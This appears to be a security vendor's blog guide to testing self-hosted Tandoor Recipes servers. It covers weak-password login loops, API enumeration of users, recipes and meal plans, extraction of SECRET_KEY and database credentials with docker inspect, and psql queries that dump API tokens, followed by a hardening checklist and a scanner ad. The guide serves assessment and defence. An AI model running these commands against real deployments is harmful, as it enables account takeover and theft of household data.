Recipe Management Security Testing

Tandoor Recipes Security Testing: Default Credentials, API Key, Database, and SECRET_KEY

📅 July 3, 2026 ⏱ 10 min read 🏷 Tandoor Recipes, Recipe Management Security, SECRET_KEY, Django Admin, API Token, Meal Plan Data, PostgreSQL, User Enumeration

Tandoor Recipes is a widely deployed self-hosted recipe management application — households and organizations use it to store recipes, plan meals, and generate shopping lists. Key assessment areas: SECRET_KEY is the Django session signing key enabling admin session forgery; the Django admin panel at /admin/ with default or weak credentials provides full database access; API tokens enable full recipe library, meal plan, and shopping list access; and the PostgreSQL database stores all recipes, nutritional data, and user meal planning information. This guide covers systematic Tandoor Recipes security assessment.

Default Credentials and Django Admin Testing
API Token Recipe and Meal Plan Access
SECRET_KEY and Database Extraction
Tandoor Recipes Security Hardening

Default Credentials and Django Admin Testing

# Tandoor Recipes — default credentials and Django admin testing
TANDOOR_URL="https://recipes.example.com"

# Tandoor creates an initial superuser — test common weak passwords
for CRED in "admin:admin" "admin:password" "tandoor:tandoor" "admin:recipes123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get CSRF token first
  CSRF=$(curl -s -c /tmp/cjar "${TANDOOR_URL}/accounts/login/" 2>/dev/null | \
    grep -oP "csrfmiddlewaretoken.*?value=\"\K[^\"]+")
  RESULT=$(curl -s -b /tmp/cjar -c /tmp/cjar -L \
    -X POST "${TANDOOR_URL}/accounts/login/" \
    -d "username=${USER}&password=${PASS}&csrfmiddlewaretoken=${CSRF}" \
    -w "%{http_code}" -o /dev/null 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${RESULT}"
done

# Django admin panel — check access
curl -s -b /tmp/cjar "${TANDOOR_URL}/admin/" 2>/dev/null | \
  grep -c "Site administration" && echo "ADMIN ACCESS GRANTED"

# API token acquisition via Django admin
# If admin access granted — create API token for any user
curl -s -b /tmp/cjar "${TANDOOR_URL}/admin/knox/authtoken/" 2>/dev/null | \
  grep -oP 'token-key.*?\K[a-f0-9]{8}' | head -5

# REST API — get API token for the authenticated user
CSRF=$(curl -s -c /tmp/apijar "${TANDOOR_URL}/api/" 2>/dev/null | \
  grep -oP 'csrfToken.*?\K[a-f0-9]{64}')
curl -s -b /tmp/cjar -c /tmp/apijar \
  -X POST "${TANDOOR_URL}/api/auth/login/" \
  -H "X-CSRFToken: ${CSRF}" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"admin\",\"password\":\"admin\"}" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(f'Token: {d.get(\"key\",\"\")}')" 2>/dev/null

API Token Recipe and Meal Plan Access

# Tandoor Recipes API token — recipe and meal plan access
TANDOOR_URL="https://recipes.example.com"
API_TOKEN="your-tandoor-api-token"

# Get all recipes
curl -s "${TANDOOR_URL}/api/recipe/?page_size=100" \
  -H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
recipes = d.get('results',[])
total = d.get('count',0)
print(f'Recipes: {total} (showing {len(recipes)})')
for r in recipes[:10]:
    print(f'  [{r.get(\"id\")}] {r.get(\"name\")}')
    print(f'    keywords={[k.get(\"name\") for k in r.get(\"keywords\",[])[:3]]}')
    print(f'    servings={r.get(\"servings\")} rating={r.get(\"rating\")}')
" 2>/dev/null

# Get meal plans for all users (admin API)
curl -s "${TANDOOR_URL}/api/meal-plan/?page_size=50" \
  -H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
plans = d.get('results',[])
print(f'Meal plans: {d.get(\"count\",0)}')
for p in plans[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"meal_name\")} on {p.get(\"date\")}')
    print(f'    recipe={p.get(\"recipe\",{}).get(\"name\")} servings={p.get(\"servings\")}')
" 2>/dev/null

# Get shopping lists
curl -s "${TANDOOR_URL}/api/shopping-list/?page_size=50" \
  -H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
lists = d.get('results',[])
print(f'Shopping lists: {d.get(\"count\",0)}')
for sl in lists[:5]:
    print(f'  [{sl.get(\"id\")}] created={str(sl.get(\"created_at\",\"\"))[:10]}')
    for entry in sl.get('entries',[])[:5]:
        print(f'    {entry.get(\"amount\")} {entry.get(\"unit\",{}).get(\"name\")} {entry.get(\"ingredient\",{}).get(\"name\")}')
" 2>/dev/null

# User enumeration
curl -s "${TANDOOR_URL}/api/user/?page_size=50" \
  -H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('results',[])
print(f'Users: {d.get(\"count\",0)}')
for u in users:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} ({u.get(\"first_name\")} {u.get(\"last_name\")})')
    print(f'    admin={u.get(\"is_superuser\")} active={u.get(\"is_active\")}')
" 2>/dev/null

SECRET_KEY and Database Extraction

# Tandoor Recipes SECRET_KEY and database extraction

# Docker environment variables
docker inspect tandoor_recipes_nginx 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','PASSWORD','DB_','POSTGRES','SOCIALACCOUNT']):
            print(e)
" 2>/dev/null

docker inspect tandoor_recipes_web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET_KEY','POSTGRES','DB_','OAUTH','SOCIAL']):
            print(e)
" 2>/dev/null
# SECRET_KEY — Django session signing key
# POSTGRES_HOST, POSTGRES_DB, POSTGRES_USER, POSTGRES_PASSWORD
# SOCIALACCOUNT_PROVIDERS — OAuth config with client_id and secret

# PostgreSQL — all Tandoor data
DB_URL="postgresql://tandoor:PASSWORD@localhost/tandoor"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All user accounts with admin status
SELECT u.id, u.username,
       u.email,
       u.first_name, u.last_name,
       u.is_superuser, u.is_staff,
       u.last_login, u.date_joined
FROM auth_user u
ORDER BY u.is_superuser DESC, u.date_joined ASC
LIMIT 20;
EOF

-- All recipes with content
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT r.id, r.name,
       r.description,
       LENGTH(r.description) as desc_length,
       r.servings, r.rating,
       r.source_url,
       u.username as created_by,
       r.created_at
FROM recipe_recipe r
LEFT JOIN auth_user u ON r.created_by_id = u.id
ORDER BY r.created_at DESC
LIMIT 20;
EOF

-- All API tokens (knox tokens)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT t.token_key,
       t.created,
       t.expiry,
       u.username, u.email
FROM knox_authtoken t
JOIN auth_user u ON t.user_id = u.id
ORDER BY t.created DESC
LIMIT 10;
EOF

Tandoor Recipes Security Hardening

Tandoor Recipes Security Hardening Checklist:

Protect SECRET_KEY as the Django session signing root — SECRET_KEY is used by Django to sign session cookies, CSRF tokens, and password reset tokens; compromise allows forging admin session cookies for any user account; generate with Python's `secrets.token_hex(50)` (minimum 50 characters); store in environment variables; never commit to version control; rotate if compromised (invalidates all sessions); Tandoor is a Docker-deployed application and SECRET_KEY is set via the .env file — protect this file with appropriate file permissions and do not include it in Docker image builds
Change default Django admin credentials before exposing to the network — Tandoor creates an initial superuser during setup; many deployments retain the initial credentials set during installation; the Django admin panel at /admin/ provides direct access to all database models including users, recipes, meal plans, shopping lists, and API tokens; use a strong unique password for the superuser account; consider disabling the Django admin panel for production deployments if not actively needed — it can be restricted to specific IP addresses via nginx configuration
Restrict API token scope and implement token expiration — Tandoor uses django-rest-knox for API token management; Knox supports token expiration — configure TOKEN_TTL in settings to automatically expire old tokens; audit all active tokens via /admin/knox/authtoken/ and revoke tokens that are no longer in use; API tokens provide access to all data the token owner can access including recipes, meal plans, and shopping lists; if Tandoor is used by a family, each family member should use their own account rather than sharing a single API token
Secure OAuth provider configuration — Tandoor supports OAuth via SOCIALACCOUNT_PROVIDERS supporting Google, GitHub, and other providers; the provider configuration is stored in the Django environment and includes client_id and client_secret; these credentials are equivalent to a master key for your OAuth application with the provider; store OAuth credentials in environment variables; if using a multi-tenant deployment, ensure OAuth tokens are properly scoped per user; monitor for unexpected OAuth logins from unfamiliar devices or locations
Restrict Tandoor to authorized network segments — Tandoor stores personal dietary data, meal preferences, family shopping patterns, and recipe notes that may contain sensitive household information; it should not be exposed to the public internet without strong authentication; deploy behind an authenticated reverse proxy or VPN for external access; implement fail2ban or similar rate limiting on login attempts; if exposing Tandoor externally, enable HTTPS via a valid certificate — session cookies transmitted over HTTP are trivially interceptable on untrusted networks

Security Test	Method	Risk
SECRET_KEY extraction and Django session cookie forgery	Read .env SECRET_KEY — forge Django session cookies for the superuser account; full admin panel access to all data models including users, recipes, meal plans, and API tokens; CSRF token forgery for all state-changing operations	High
Django admin default credential testing	POST /accounts/login/ with admin/admin — access to full Django admin at /admin/ enabling direct database record manipulation, user account creation, and API token generation for any user	High
API token extraction from knox_authtoken table	SELECT token_key FROM knox_authtoken — all active API tokens; each token provides recipe, meal plan, and shopping list access for the associated user; tokens do not expire by default	High
Meal plan and dietary preference data access via API	GET /api/meal-plan/ with API token — complete meal planning data revealing dietary restrictions, food preferences, and daily eating patterns; PII if accessed for other users	Medium
User enumeration via API endpoint	GET /api/user/ with authenticated token — all user accounts with usernames, email addresses, and admin status; used to target accounts for credential attacks or phishing	Medium

Automate Tandoor Recipes Security Testing

Ironimo tests Tandoor Recipes deployments for SECRET_KEY Django session cookie forgery, Django admin default credential testing (/admin/ access), knox_authtoken table API token extraction, meal plan and dietary preference data access, user enumeration via API, PostgreSQL recipe and user data extraction, Docker SECRET_KEY/POSTGRES_PASSWORD/SOCIALACCOUNT_PROVIDERS credential exposure, OAuth provider client secret extraction, recipe source_url sensitive content analysis, and Knox token expiration policy assessment.

Start free scan

Table of Contents

Default Credentials and Django Admin Testing

API Token Recipe and Meal Plan Access

SECRET_KEY and Database Extraction

Tandoor Recipes Security Hardening

Automate Tandoor Recipes Security Testing